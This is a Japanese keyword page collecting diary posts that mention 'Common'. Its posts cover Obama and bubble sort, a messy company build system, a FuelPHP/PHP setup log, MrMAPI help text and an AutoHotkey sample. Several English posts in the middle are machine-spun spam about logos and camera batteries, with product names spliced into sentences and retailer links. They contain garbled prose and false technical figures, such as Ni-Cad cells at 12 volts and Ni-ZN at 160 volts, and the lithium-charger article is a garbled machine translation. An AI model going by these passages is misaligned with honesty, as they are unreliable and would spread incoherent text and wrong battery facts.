「Common」を含む日記 RSS

はてなキーワード: Commonとは

2013-03-24

Q.なぜオバマは「バブルソート」を知っていたのか

A.GoogleCEOジョン・マケインに同じ質問をしていたから。

http://www.quora.com/Barack-Obama/How-does-Obama-know-about-bubble-sort/answers/2113736

Because John McCain was asked the same question by then Google CEO Eric Schmidt earlier in the year (May 2007), when he was invited to Google.

,

President Obama's aides noticed that and prepped him for it. President Obama could have gone prepared with a better answer but Dr. Eric Schmidt coulda followed up with a harder question, which is common in interviews for software development or engineering positions. So, he decided to use humor as a response.

Candidates@Google: John McCain

http://youtu.be/ZDDixe_N5sE

,

アルゴリズムはもはや大統領必須教養だ!」

ぐらいの、期待を込めてググってみたのにこんな理由が。

アメリカ大統領選の討論やら、インタビューの力の入れようを見ると当然問答集やリハーサルを重ねて

のぞんだんだろうなあ と感心する一方、ちょっと残念な結果に。

2012-04-11

うちの会社ビルドシステムおかしい気がする

http://anond.hatelabo.jp/20120407162253 に便乗して。

それなりに大きなとある会社プログラマだけど、うちの会社ビルドシステムおかしい気がする

まりにも原始的なので違和感を感じるんだけど、自分ビルドシステムに対する知識が圧倒的に不足しているので、今やってる作業に本当に意味があるのかよく分からない。詳しい人に教えてもらいたい。

環境

でどんな方法ビルドしているかというと

  1. Subversion からファイルをチェックアウトしてくる
  2. バッチファイルを使ってワーキングディレクトリファイルを全部 C ドライブ直下ディレクトリファイルコピーする。 C:\PRODUCT とする。これは決められた名前以外では動かない
  3. メインのソースツリーを製品ハードごとのツリーにエクスプローラーコピーする
  4. 製品ハードごとの依存部分をさらに上書きする
  5. 10個ぐらいあるバッチファイルから必要なものを選んで実行し、ビルドする。スクラッチビルドしかできない

こんなこといちいちやるので、ビルドに数時間かかる

あとソース更新した時の手続きは

  1. 製品ごとのソースツリーで、同じファイルを使っているものには手動で上書きする
  2. 更新したファイルワーキングディレクトリに手動でコピーする
  3. ビルドしたバイナリごとチェックイン

手動でコピーするからよく事故が発生するし、同じファイルが複数箇所にあるので全然履歴が追えない。

あと、中間ファイルや実行ファイル(.o とか .so とか) も含めてごちゃまぜにチェックインされているので、もっと訳がわからなくなってる。

ビルド成功しないのが当たり前」とかいう人ばかりで、正直発狂しそうになる

フォルダツリーがわかりづらいと思うので図を書くと

 /
  Main/         -- 共通ファイルディレクトリ
       foo/
           bar.c
       driver/
           common.c
  ProductA/
       foo/
           bar.c -- ProductA 用の変更が入ってる
           baz.c -- ProductA 専用ファイル
       driver/
           common.c
  ProductA_Orig/ -- ProductA/ 内の ProductA用ファイルが丸々入ってる
       foo/
           bar.c
           baz.c
  ProductB/
       foo/
           bar.c -- Main と全く同じ
       driver/
           common.c
  ProductC/
       foo/
           bar.c
       driver/hoge.c
  ProductC_Orig/
       driver/hoge.c

こんな感じになっていて、共通部分は Main/ の中とそれぞれの ProductA, ProductB, ... ディレクトリの中にすべてコピーされている。

チェックインするときはすべてのファイル、例えば bar.c を更新したら Main, ProductA, ProductB, ProductC の bar.c を手動で更新する必要がある。

ビルドするときは Main/ のファイルを ProductA/ にコピーして、 ProductA_Orig/ の中の機種依存ファイルさらに ProductA/ にコピーする。これは、同名のファイルが Main にもあって、 ProductA のファイルが上書きされるかららしい。

こんな状況なので、ソースツリーは常にビルドが通らない状態

ビルドできないので、最後最後まで結合テストが出来ずに、みんなローカルPCで開発してる。誰かのPCが吹っ飛ぶとその人が開発していた差分消失する。

近々また製品バリエーションが増える...

「ツリーを共通部分と依存部分きちんと分けて、ビルド自動しましょうよ」って上長に提案したら「この会社はこれでやってる。むしろバイナリが入っているのでビルドできなくてもテストできる」という感じであまり真面目に取り合ってもらえなかった。

2012-03-19

A digital Generating Logos And Worth

Looking for an important logo design, that'll precisely and creatively represent what you are promoting? After that pick a digitally imprinted custom logo design. Within todays globe where products bets an essential job for Network marketing, Internet website marketing, in addition to The web conversation, digitally imprinted logos insert amazing valuation to make sure you organization with the versatility to a electronic company logo.

Digitally printed images is often an reliable method to increase all the brand and picture of your firm in numerous internet domain names. Different from logos in other styles, an electronic digital logo design will be easily common over the internet to become used for online, report, in addition to The web make use of (websites). Having a digitally designed logo design assures feel not to mention prime quality reproductions. Online digital publishing will also be done upon various fabrics prefer documents, textile, in addition to advertise products. Furnishings and also the style remain still in effect not to mention genuine even after constant employ and usage.

Digital logo design designing not to mention prints besides produces your home business or possibly firm name more appealing, however it is additionally easy on the wallet. Online digital publishing also provides value on your images from improving upon all the visual qualities as well as capabilities. You are able to select as well as combine a variety of styles not to mention structure alternate options to manufacture a specialized looking logo design. Commonly, digitally printed logos add the name belonging to the business enterprise, that picture or image on the JVC BN-VG138 Batterybusiness, besides other design components that you can desire to include.

Caused by prime quality coordinated with price effectiveness, digitally imprinted logos utilized in several Online marketing not to mention market plans. There're utilized for the next:

Paper prints

Literature

Advertising

Small business business cards

Reproduced sorts of conversation.

By employing better technology, a lot of these logos insert further valuation with your advancement by simply which makes it eye getting along with truthfully comprising the business the business logo was initially created for. Good requirements belonging to the customer or the company, that creative designers create the actual logo with the help of a number of creating systems by simply mixing a variety of colours along with design. The actual font size and also the form derive from as well as the Panasonic HDC-SD90 Batterycreative logo that is appearing formulated. Electrical power software not to mention desktop computer courses that can be accustomed to earn the right design and style to appropriately stand for the company.

If you want to include some pictures or tokens ?nside your creative logo, it is possible to complete the work with the process of electronic printing. In truth, sound recording, and picture sharp graphics will also be contained within the symbol to be applied using the web to create the electronic company logo interactive. Different from other styles associated with printed systems, a digital generating enables the range to construct, resize or maybe enhance the actual image along with utmost care and attention not to mention preciseness. That Nikon EN-EL12 Battery causes the actual logo much more user-friendly and accommodating. The actual contrast as well as sharpness to a digital creative logo will also be regulated mainly because called for.

Upon having an important logo design, you will have a publishing company so as to utilize it concerning electronically printed out publicity goods or upon sales and marketing communications. Rex Three is usually a organization which can be located in Miami, Florida that could fulfill your home business printing not to mention special snail mail really needs for the organization.

2011-12-29

Choose the best digital camera rechargeable batteries

Due to the nature of a digital camera, they need a lot of voltage and also need to keep good battery long periods of inactivity digital camera rechargeable batteries to a big hit, many current digital camera has a flash, may also make a short film, the two characteristics is very good, but can drain battery two times normal speed, photo shooting.

Most people are familiar with basic rechargeable battery, but the key to finding a good a doctor to give your digital camera is to look at the battery material, how will charge, and how long will the cost in use and sitting on the shelf or in the digital camera.

A little I look in my purchase any digital camera I buy is to ensure that there is a common battery size. The reason is, no matter how you plan a photo shoot, things happen, you may have to resort to the old alkaline batteries solve your problems, then. Panasonic battery my first choice is a rechargeable battery, but you never know, this is a very good thing can find a new set of batteries.

There are several important factors to consider, rechargeable batteries is the best. The first is the amount of voltage, followed by long time, then the battery of the time; Four is charge (how long shelf life will be held responsible for the storage battery).

Here are a series of typical rechargeable batteries and their voltage output:

Ni-Cad rechargeable battery, 12 volts

Nickel metal hydride rechargeable batteries-1.2 to 1.5

Ni-ZN rechargeable batteries-160 volts

Standard alkalines is 1.5 volts

Also have a level a reference number of energy storage, from the ability to represent called milli ampere hour. These level general fleeing to 2100 from 750 from is high, the more the number of the battery capacity (higher digital better).

The Ni-Cad and nimh most common, almost every major brand battery multiple versions. The latest technology is Ni-ZN are excellent storage capacity and long shelf life. Many types of rechargeable batteries can be charging many times, but they didn't mention that drop down power amount of recharges x.

And this is the real factors to consider. Let us say that if you find new battery you can use about 100 photos before they go to the south. Recharges Numbers increase, reduce many pictures. Some can only continue to before they start, recharges loose the ability to completely costs. Clever cost is still good savings from an ordinary AA alkaline battery cost $1.15 and the comparable charge is $2.50, according to the figures from $5.00.

Recent Ni-ZN cost about $5 each request and take over 500 recharges in any losses before the injury charge ability. But they also play more voltage so for example your flash recycling half the time to complete the normal alkaline batteries. If you have 100 threw a set of alkaline, you should get at least 175 vote of Ni-ZN are the same size. Plus storage life N-ZN than any other choice.

Rapid turnover a flash can be a big problem, because it is a very painful, but when photographs in the interior, need to wait for two minutes of the flash is full of power. Or, if you are shooting a series of short a minute video and ran out of the juice in the middle is not a good thing.

So, based on the pricing and ability, if you can recharge the battery is more than 500 times more the highest price, they use more cheap long-term development. If they hold up close to claim 500 cost, well, you can do the math. This is a no brainer, Ni-ZN provide more voltage, better life, and more fees each battery.

__________________

http://www.gobatteryonline.com/canon-powershot-sd600-battery-charger-gose.html

http://www.chargerbatteryshop.co.uk/panasonic-dmw-bmb9-digital-camera-battery-cbbs.html

Portable electronic equipment battery technology

1, about the trickle charge, rapid charging and stable battery charging algorithm

According to the energy requirements of the final application, a battery may contain up to 4 lithium ion or lithium polymer battery core, its configuration will have a variety of change, at the same time with a mainstream power adapter: direct adapter, USB interface or car charger. Remove the core quantity, core configuration or power adapter type difference, the battery has the same charge characteristics. So they charge algorithm. Lithium ion and li-ion polymer battery best charging algorithm can divided into three phases: trickle charge, rapid charging and stable charge.

trickle charge. For depth discharge core to charge. When core voltage in less than about 2.8 V, use a constant 0.1 C of the current charging for it.

fast charging. Core voltage trickle charge more than the threshold, improve the charging current rapid charging. Fast charging current should be lower than 1.0 C.

stable voltage. In the fast charging process, once the core 4.2 V voltage, stable voltage phase began. This is through the minimum charge current or timer or of the two joint to interrupt charge. When the minimum current below about 0.07 C, can interrupt charge. The timer is to rely on a default to trigger the timer interrupt.

Advanced battery charger with additional security function normally. For example, if the core temperature exceeds the given window, usually 0 ℃-45 ℃, charge will be suspended.

Remove some very low-end equipment, now on the market/li-ion polymer lithium ion battery solutions are integrated with the outer components or, in accordance with the characteristics of the charging to charge, this is not just to get better effect charge, but also for safety.

lithium ion/polymer battery charge is an example of applications-double input 1.2 A lithium battery charger LTC4097

LTC4097 can be used to exchange adapter or USB power supply for single quarter/polymer lithium ion battery. Figure 1 for double input 1.2 A lithium battery charger LTC4097 schemes. It USES constant current/constant voltage algorithm charging, from exchange adapter power charge, programmable filling up to 1.2 electric current A, and with USB power can be as high as 1 A, at the same time, automatic detection in each input voltage whether there. This device also provide USB the current limit. Applications include PDA, MP3 players, digital camera, light portable medical and test equipment and big color cellular phone. The performance characteristics: no external micro controller charging termination; The input power automatic detection and choice; Through the resistance from the exchange of charging adapter input can be as high as 1.2 A programming charge current; The resistance of programmable USB charging current is up to 1 A; 100% or 20% USB charging current set; The input power output and existing bias NTC (VNTC) pin as a 120 mA drive ability; NTC thermistors input (NTC) pin for temperature qualified charged; Pre-settings battery voltage with floating plus or minus 0.6% accuracy; Thermal regulation maximize charge rate and free hot air LTC4097 can be used to exchange adapter or USB power supply for single quarter/polymer lithium ion battery. The use of constant current/constant voltage algorithm charging, from exchange adapter power charge, programmable filling up to 1.2 electric current A, and with USB power can be as high as 1 A, at the same time, automatic detection in each input voltage whether there. This device also provide USB the current limit. Applications include PDA, MP3 players, digital camera, light portable medical and test equipment and big color cellular phone.

2, lithium ion/polymer battery scheme

Lithium ion/polymer battery charge scheme for different number of core, core configuration, and power types are different. At present mainly have three main charging scheme: linear, Buck (step-down) switch and SEPIC (booster and step-down) switch.

2.1 linear scheme

When the input voltage in big with the charger with sufficient clearance of core after opening voltage, it is linear scheme, especially 1.0 C fast charging current than 1 A big too much. For example, MP3 players usually only one core, capacity from 700 to 1500 mAh differ, full charge voltage is open 4.2 V. MP3 player power is usually the AC/DC adapter or USB interface, the output is the rule of 5 V; At this time, the linear scheme is the most simple, most charger of the efficiency of the scheme. Figure 2 shows for lithium ion/polymer battery solution linear scheme, basic structure and linear voltage neat device.

linear scheme charger application examples-double input Li + charger and intelligent power source selector MAX8677A

MAX8677A is double input USB/AC adapter linear charger, built-in Smart Power Selector, used for rechargeable single quarter by Li + batteries portable devices. The charger integration of the battery and the external power source and load switch charging all the power switch, so that no external MOSFET. MAX8677A ideal used in portable devices, such as smart phones, PDA, portable media players, GPS navigation equipment, digital camera, and digital cameras.

MAX8677A can work in independent USB and the power input AC adapter or two input either one of the input. When connecting external power supply, intelligent power source selector allows the system not connect battery or can and depth discharge battery connection. Intelligent power source selector will automatically switch to the battery system load, use the system did not use the input power supply parts for battery, make full use of limited USB and adapter power supply input. All the needed electric current detection circuit, including the integration of the power switch, all integration in the piece. DC input current highest limit can be adjusted to 2 A and DC and USB input all can support 100 mA, 500 mA, and USB hung mode. Charge current can be adjusted to as high as 1.5 A, thus support wide range of battery capacitive. Other features include MAX8677A thermal regulation, over-voltage protection, charging status and fault output, power supply good surveillance, battery thermistors surveillance, and charging timer. MAX8677A using save a space, hot enhanced, 4 mm x 4 mm, 24 of the pins TQFN encapsulation, regulations, work in exceptional temperature range (40 ~ + 85 ℃).

2.2 Buck (step-down) switch scheme

When A 1.0 C of the charging current more than 1 A, or the input voltage of the core than with high voltage open many, Buck or step-down plan is A better choice. For example, based on the hard drive in the PMP, often use single core lithium ion battery, the full of open is 4.2 V voltage, capacity from 1200 to 2400 mAh range. And now PMP is usually use the car kit to charge, its output voltage in a 9 V to 16 between V. In the input voltage and battery voltage is the voltage difference between high (minimum 4.8 V) will make linear scheme lowers efficiency. This kind of low efficiency, plus more than 1.2 A 1 C fast charging electric current, have serious heat dissipation problems. To avoid this kind of situation, will the Buck scheme. Figure 3 for lithium ion/polymer battery charger scheme Buck diagram, basic structure with Buck (step-down) switching voltage regulators completely the same.

2.3 SEPIC (booster and step-down) switch scheme

In some use of three or four lithium ion/polymer core series equipments, charger of the input voltage is not always greater than the battery voltage. For example, laptop computers use 3 core lithium ion battery, full charge voltage is open 12.6 V (4.2 V x3), capacity is 1800 mAh to 3600 mAh from. Power supply input or output voltage is 1 6 V AC/DC adapter, or is car kit, the output voltage in a 9 V to 16 between V. Apparently, the linear and Buck solutions are not for this group of batteries. This is about to use SEPIC scheme, it can in the output voltage is higher than when the battery voltage, can be in the output voltage less than when the battery.

3, and power detection algorithm is proposed

Many portable products use voltage measurements to estimate the remaining battery power, but the battery voltage and surplus power relationship but will with the discharge rate, temperature and battery aging degree of change, make this kind of method can top 50% margin of error. The market for longer to use product demand unceasingly strengthens, so the system design personnel need more accurate solution. Use capacity check plan come to measure battery or consumption of electricity, will be in a wide range of application power to provide more accurate estimate of the battery power.

3.1 power detection algorithm is one of the examples of application, function complete list, double the battery portable battery application design

power detection principle. Good capacity check plan at least to have battery voltage, temperature and battery electric current, measuring method; A micro 9 a; And a set of and the verification of the punishment power detection algorithm is proposed. Bq2650x and bq27x00 is full capacity check program function, with a measuring voltage and temperature of the digital converter (ADC) and a measuring electric current and charging sensor the asp. These capacity check plan also has a microprocessor, is responsible for the implementation of the Texas instruments power detection algorithm is proposed. The algorithm can compensate the lithium ion battery life.low self-discharge, aging, the temperature and discharge rate, and other factors. Chip embedded microprocessor as host system processor save these calculation burden. Capacity check program can provide remaining power state information, bq27x00 series products also offer surplus can Run Time (Run Time to Empty) host may at any Time to capacity check plan these information query, then LED indicator light through or displays will inform the user battery. Capacity check meter is very easy to use, the system processor need only configuration 12 C or HDQ communication drive can.

The battery circuit description. Figure 4 (a) can be used for identification of IC functions with typical application circuit batteries. According to the use of IC testing program is different, the battery needs to have at least three to four outside the terminal.

VCC and BAT pins will even to the battery voltage, so that for, C power and the battery voltage measurement. The battery is connected a grounding resistance smaller detection resistors, let capacity check meter high impedance SRP and SRN input can monitor sensor resistance on both ends of the voltage. Through testing the current flows through a resistor can be used to judge the battery or release the amount of electricity. Designers choose detection resistance value must be considered when resistance on both ends of the voltage can't more than 100 mV, low resistance may be more hours in current errors. Circuit board layout must ensure that SRP and SRN to testing from as close as possible to the connection of the resistor sensor resistance end; In other words, they should be the Kelvin attachment.

HDQ pin need external and resistors, this resistance should be located the host or the main application, such capacity check plan to the battery and portable devices when sleep function enable connection broken. Advice and resistance choose 10 k Ω.

battery identification. A low cost WeiMao batteries are getting more and more serious, these cells may not contain OEM requirements of security protection circuit. So, genuine battery may contain figure 4 (a) shows the appraisal circuit. When to identify the battery, the host to contain IC (bq26150, the function is cyclic redundancy check (CRC)) issued the battery packs a ask value (challenge), the CRC will contain battery according to this inquiry value and, in the building of the IC in CRC polynomial calculation the CRC value. CRC is based on the host of command and IC secret in the query of the definition of the CRC polynomial completed, the host in CRC values calculated with the calculation result of well battery comparison to identify the appraisal success.

Once the battery through the appraisal, bq26150 will issue commands to ensure that the host and quantity test plan of material lines between normal communication. When the battery connection interruption or to connect, the whole the identification process will be repeated again.

double the battery application. Figure 4 (b) for use bq26500 support double the typical application of lithium ion battery circuit. In order to support more battery, and this circuit is adding a adjustable regulators. Capacity check millions of BAT pin and the bottom of a battery anode linked to complete the variable voltage measurement of the battery.

Host to be able to read capacity check plan of variable voltage measurement battery, to make sure the end of discharging threshold and charging terminate threshold. As for the remaining state power (RemainingStateofCapacity), do not need to read can use directly.

The above bq2650x and bq27x00 etc capacity check plan provides the battery manufacturer a simple to use options, this scheme L [just measuring battery voltage to be precise, so these capacity check plan can be applied to various battery framework, and can support the battery identification and double the battery application '

3.2 power detection algorithm is an example of applications another, can apply to all kinds of general voltmeter new IC.

Today's many manufacturers can provide a variety of voltmeter IC,, the user can choose the suitable function device, to optimize the product price. Use voltmeter measurement of storage battery parameters, the separate architecture allows users in the host custom power measurement algorithm within. Eliminating embedded processor battery cost. On this to Dallase semicconductor company called cases of DS2762 chip for typical analysis. A new separate voltmeter IC, its structure see chart 5 (a) below.

DS2762 application characteristics

DS2762 is a single quarter of lithium battery voltmeter and protection circuit, integrated into a tiny 2.46 mm x 2.74 mm inversion of packaging. Due to internal integration for power detection of high precise resistance, this device is very save a space. It is the small size and incomparable high level of integration, for mobile phone battery and other similar handheld products, such as PDA, etc, are all very ideal. Integrated protection circuit continuously monitoring the battery voltage, over voltage and flow fault (charging or discharge period). Different from the independent protection IC, DS2762 allow main processor surveillance/control protection FET conduction state, such, can DS2762 through the protection of the power system and the control circuit implementation. DS2762 can also charge a battery consumption has depth, when the battery voltage within three V, provide a limit of the charging current recovery path.

DS2762 accurate monitoring battery current, voltage and temperature, the dynamic range and resolution of common satisfy any mobile communication product testing standards. The measurement of current for internally generated when the integral, realize the power measurement. Through the real-time, continuous automatic disorders correct, the precision of power measurement can be increased. The built-in measuring resistance due to eliminate manufacturing process and temperature and cause resistance change, further improve the precision of the voltmeter. Important data stored in 32 bytes, can add the lock EEPROM; 16 bytes of SRAM are used to keep dynamic data. And DS2762 all communication all through the 1-Wire, more communication interface node, minimize the battery and the connection to the host. Its main features for; Single quarter of lithium battery protector; High precision current (power measurement), voltage and temperature measurement; Optional integrated 25 m Ω measuring resistance, each DS2762 after fine-tuning alone; 0 V battery restore charge; 32 bytes can lock EEPROM, 16 bytes SRAM, 64 a ROM;

1-Wire, node, digital communication interface; Support more battery power management, and through the protection system control FET power; Dormancy mode power supply current only 2 µ A (most); Work mode power supply current for 90 µ A (most); 2.46 mm x 2.74 mm inversion of packaging or 16 feet SSOP package led, and both are can choose with or without detection resistance; After has with e

2011-12-15

cent osでのphp5.3環境のセットアップ with "yum"

FuelPHP Advent Calendar 2011 の 15日目。

FuelPHP の URL とコントローラの関係から続いて寄稿します。

@eifukuです

早速ですが本題。

といって、そもそもの経緯を先に。

fuelphpを試そう!ってなもんで既存サーバPHP5.3にしよう〜という所が発端。

既にyumPHP5.2ベース環境が構築してあったせいで、色々とconflictしてインストールに手間取る。。。

案外、環境構築ってはまると手間よねーといった意味合いも込めて、

今後の参考迄に割とストレートにいける様にセットアップ手順をログます

今回はせっかくなので、色々と最新パッケを用意します。

LES RPM DE REMIのリポジトリ登録

そもそも、yum提供しているのはPHP5.2。

なので、fuelphpを動作させるために、今回は最新のRPMパッケからPHP5.3をインスコ

最新のrpmを確認してインストール

$ sudo rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm

$ sudo rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-5.rpm

apache2をインストール

$ sudo yum install apache2

mysql(v5.5)をインストール

既存mysqlを使う人は飛ばして次項へ。

(PHPを先にインストールすると色々こけるので先にmysqlをセットアップ)

$ sudo yum --enablerepo=remi install mysql mysql-server

で起動テスト

$ sudo /etc/init.d/mysqld start

いや、こけた。

起動せず。。

ふむ。repositoryをremi-testにしなければダメな模様。

再度インストール場合には依存関係のパッケージconflictするのでとにかく消す。

ごっそり消す!!

$ sudo yum remove -y mysql*

インストール

$ sudo yum --enablerepo=remi-test install mysql mysql-server

$ sudo /etc/init.d/mysqld start

Starting MySQL: [ OK ]

いった!

自動起動設定だけ済ませて次へ。

$ sudo /sbin/chkconfig mysqld on

php諸々をインストール

既存php5.2以前がある場合は、やはりとにかく、ごっそりremove!!

で以下に続く。

$ sudo yum --enablerepo=remi install -y php php-mysql php-xml php-mbstring php-common

以上でfulephp動作前の環境構築準備は完了!

ほんとはハマった辺りのログとかも入れた方がいいんでしょうが、今回はこれでご勘弁。

ソースから入れた方が楽だよなぁ・・・と何度か方向転換しかかりましたが・・・なんとか。

明日16日目は@madmamorさんの「FuelPHPのcoreクラスを拡張してみる。ですね!

おたのしみに!

2011-11-08

Thunderbird から Outlook 2007 にメールを移行

やー。面倒でした。

古い情報だと Outlook Express を経由しろと書いてあるので、後継であるらしいWindows Live Mail を経由して(Windows Live Mail からエクスポートする方法で)

Outlook に移行したのだが、どういうわけか宛名が文字列として移行されてしまい、xxx@example.com というメールアドレスの移行ができなかったんです

で eml → msg もしくは pst 形式への変換ソフトを探すのですが、無料ものが見つからなくてあんまり情報もありませんでした。が、ありましたよ!お兄さん。

これなら、msg ⇔ eml の相互変換ができますです

MrMAPI.exe

http://mfcmapi.codeplex.com/

ヘルプはっときますね。

====

MAPI data collection and parsing tool. Supports property tag lookup, error translation,
   smart view processing, rule tables, ACL tables, contents tables, and MAPI<->MIME conversion.
MrMAPI currently knows:
  3916 property tags
   801 dispids
    35 types
    58 guids
   148 errors
    27 smart view parsers

Usage:
   MrMAPI -?
   MrMAPI [-Search] [-Dispids] [-Number] [-Type <type>] <property number>|<property name>
   MrMAPI -Guids
   MrMAPI -Error <error>
   MrMAPI -ParserType <type> -Input <input file> [-Binary] [-Output <output file>]
   MrMAPI -Flag <flag value> [-Dispids] [-Number] <property number>|<property name>
   MrMAPI -Rules [-Profile <profile>] [-Folder <folder>]
   MrMAPI -Acl [-Profile <profile>] [-Folder <folder>]
   MrMAPI [-Contents | -HiddenContents] [-Profile <profile>] [-Folder <folder>] [-Output <output directory>]
          [-Subject <subject>] [-MessageClass <message class>] [-MSG] [-List]
   MrMAPI -ChildFolders [-Profile <profile>] [-Folder <folder>]
   MrMAPI -XML -Input <path to input file> -Output <path to output file>
   MrMAPI -FID [fid] [-MID [mid]] [-Profile <profile>]
   MrMAPI -MAPI | -MIME -Input <path to input file> -Output <path to output file> [-CCSFFlags <conversion flags>]
          [-RFC822] [-Wrap <Decimal number of characters>] [-Encoding <Decimal number indicating encoding>]
          [-AddressBook] [-Unicode] [-Charset CodePage CharSetType CharSetApplyType]

All switches may be shortened if the intended switch is unambiguous.
For example, -T may be used instead of -Type.

   Help:
   -?   Display expanded help.

   Property Tag Lookup:
   -S   (or -Search) Perform substring search.
           With no parameters prints all known properties.
   -D   (or -Dispids) Search dispids.
   -N   (or -Number) Number is in decimal. Ignored for non-numbers.
   -T   (or -Type) Print information on specified type.
           With no parameters prints list of known types.
           When combined with -S, restrict output to given type.
   -G   (or -Guids) Display list of known guids.

   Flag Lookup:
   -Fl  (or -Flag) Look up flags for specified property.
           May be combined with -D and -N switches, but all flag values must be in hex.

   Error Parsing:
   -E   (or -Error) Map an error code to its name and vice versa.
           May be combined with -S and -N switches.

   Smart View Parsing:
   -P   (or -ParserType) Parser type (number). See list below for supported parsers.
   -B   (or -Binary) Input file is binary. Default is hex encoded text.

   Rules Table:
   -R   (or -Rules) Output rules table. Profile optional.

   ACL Table:
   -A   (or -Acl) Output ACL table. Profile optional.

   Contents Table:
   -C   (or -Contents) Output contents table. May be combined with -H. Profile optional.
   -H   (or -HiddenContents) Output associated contents table. May be combined with -C. Profile optional
   -Su  (or -Subject) Subject of messages to output.
   -Me  (or -MessageClass) Message class of messages to output.
   -Ms  (or -MSG) Output as .MSG instead of XML.
   -L   (or -List) List details to screen and do not output files.

   Child Folders:
   -Chi (or -ChildFolders) Display child folders of selected folder.

   MSG File Properties
   -X   (or -XML) Output properties of an MSG file as XML.

   MID/FID Lookup
   -Fi  (or -FID) Folder ID (FID) to search for.
           If -FID is specified without a FID, search/display all folders
   -Mid (or -MID) Message ID (MID) to search for.
           If -MID is specified without a MID, display all messages in folders specified by the FID parameter.

   MAPI <-> MIME Conversion:
   -Ma  (or -MAPI) Convert an EML file to MAPI format (MSG file).
   -Mi  (or -MIME) Convert an MSG file to MIME format (EML file).
   -I   (or -Input) Indicates the input file for conversion, either a MIME-formatted EML file or an MSG file.
   -O   (or -Output) Indicates the output file for the convertion.
   -Cc  (or -CCSFFlags) Indicates specific flags to pass to the converter.
           Available values (these may be OR'ed together):
              MIME -> MAPI:
                CCSF_SMTP:        0x02
                CCSF_INCLUDE_BCC: 0x20
                CCSF_USE_RTF:     0x80
              MAPI -> MIME:
                CCSF_NOHEADERS:        0x0004
                CCSF_USE_TNEF:         0x0010
                CCSF_8BITHEADERS:      0x0040
                CCSF_PLAIN_TEXT_ONLY:  0x1000
                CCSF_NO_MSGID:         0x4000
                CCSF_EMBEDDED_MESSAGE: 0x8000
   -Rf  (or -RFC822) (MAPI->MIME only) Indicates the EML should be generated in RFC822 format.
           If not present, RFC1521 is used instead.
   -W   (or -Wrap) (MAPI->MIME only) Indicates the maximum number of characters in each line in the
           generated EML. Default value is 74. A value of 0 indicates no wrapping.
   -En  (or -Encoding) (MAPI->MIME only) Indicates the encoding type to use. Supported values are:
              1 - Base64
              2 - UUENCODE
              3 - Quoted-Printable
              4 - 7bit (DEFAULT)
              5 - 8bit
   -Ad  (or -AddressBook) Pass MAPI Address Book into converter. Profile optional.
   -U   (or -Unicode) (MIME->MAPI only) The resulting MSG file should be unicode.
   -Ch  (or -Charset) (MIME->MAPI only) Character set - three required parameters:
           CodePage - common values (others supported)
              1252  - CP_USASCII      - Indicates the USASCII character set, Windows code page 1252
              1200  - CP_UNICODE      - Indicates the Unicode character set, Windows code page 1200
              50932 - CP_JAUTODETECT  - Indicates Japanese auto-detect (50932)
              50949 - CP_KAUTODETECT  - Indicates Korean auto-detect (50949)
              50221 - CP_ISO2022JPESC - Indicates the Internet character set ISO-2022-JP-ESC
              50222 - CP_ISO2022JPSIO - Indicates the Internet character set ISO-2022-JP-SIO
           CharSetType - supported values (see CHARSETTYPE)
              0 - CHARSET_BODY
              1 - CHARSET_HEADER
              2 - CHARSET_WEB
           CharSetApplyType - supported values (see CSETAPPLYTYPE)
              0 - CSET_APPLY_UNTAGGED
              1 - CSET_APPLY_ALL
              2 - CSET_APPLY_TAG_ALL

   Universal Options:
   -I   (or -Input) Input file.
   -O   (or -Output) Output file or directory.
   -F   (or -Folder) Folder to scan. Default is Inbox. See list below for supported folders.
           Folders may also be specified by path:
              "Top of Information Store\Calendar"
           Path may be preceeded by entry IDs for special folders using @ notation:
              "@PR_IPM_SUBTREE_ENTRYID\Calendar"
           MrMAPI's special folder constants may also be used:
              "@12\Calendar"
              "@1"
   -Pr  (or -Profile) Profile for MAPILogonEx.
   -M   (or -MoreProperties) More properties. Tries harder to get stream properties. May take longer.
   -No  (or -NoAddins) No Addins. Don't load any add-ins.
   -On  (or -Online) Online mode. Bypass cached mode.
   -V   (or -Verbose) Verbose. Turn on all debug output.

Smart View Parsers:
    1 Additional Ren Entry IDs Ex
    2 Appointment Recurrence Pattern
    3 Conversation Index
    4 Entry Id
    5 Entry List
    6 Extended Folder Flags
    7 Extended Rule Condition
    8 Flat Entry List
    9 Folder User Fields Stream
   10 Global Object Id
   11 Property
   12 Property Definition Stream
   13 Recipient Row Stream
   14 Recurrence Pattern
   15 Report Tag
   16 Restriction
   17 Rule Condition
   18 Search Folder Definition
   19 Security Descriptor
   20 SID
   21 Task Assigners
   22 Time Zone
   23 Time Zone Definition
   24 Web View Persistence Object Stream
   25 Nickname Cache
   26 Encode Entry ID
   27 Decode Entry ID

Folders:
    1 Calendar
    2 Contacts
    3 Journal
    4 Notes
    5 Tasks
    6 Reminders
    7 Drafts
    8 Sent Items
    9 Outbox
   10 Deleted Items
   11 Finder
   12 IPM_SUBTREE
   13 Inbox
   14 Local Freebusy
   15 Conflicts
   16 Sync Issues
   17 Local Failures
   18 Server Failures
   19 Junk E-mail

Examples:
   MrMAPI PR_DISPLAY_NAME

   MrMAPI 0x3001001e
   MrMAPI 3001001e
   MrMAPI 3001

   MrMAPI -n 12289

   MrMAPI -t PT_LONG
   MrMAPI -t 3102
   MrMAPI -t

   MrMAPI -s display
   MrMAPI -s display -t PT_LONG
   MrMAPI -t 102 -s display

   MrMAPI -d dispidReminderTime
   MrMAPI -d 0x8502
   MrMAPI -d -s reminder
   MrMAPI -d -n 34050

   MrMAPI -p 17 -i webview.txt -o parsed.txt

2011-08-30

キーボードリマップ 2011_08_29_

AutoHotKey・KeySwap・Atok2005を使った

また、これは AutoHotkey.ahk (AutoHotkey設定ファイル) 自身でもある。

なお、Atokでのキーボードリマップは、以下の通り。

ATOKプロパティ  =>キーローマ字・色 タブ =>キーカスタマイズ 

ここから

────────────────────

; IMPORTANT INFO ABOUT GETTING STARTED: Lines that start with a

; semicolon, such as this one, are comments. They are not executed.

; This script has a special filename and path because it is automatically

; launched when you run the program directly. Also, any text file whose

; name ends in .ahk is associated with the program, which means that it

; can be launched simply by double-clicking it. You can have as many .ahk

; files as you want, located in any folder. You can also run more than

; one ahk file simultaneously and each will get its own tray icon.

; SAMPLE HOTKEYS: Below are two sample hotkeys. The first is Win+Z and it

; launches a web site in the default browser. The second is Control+Alt+N

; and it launches a new Notepad window (or activates an existing one). To

; try out these hotkeys, run AutoHotkey again, which will load this file.

#z::Run www.autohotkey.com

^!n::

IfWinExist Untitled - Notepad

WinActivate

else

Run Notepad

return

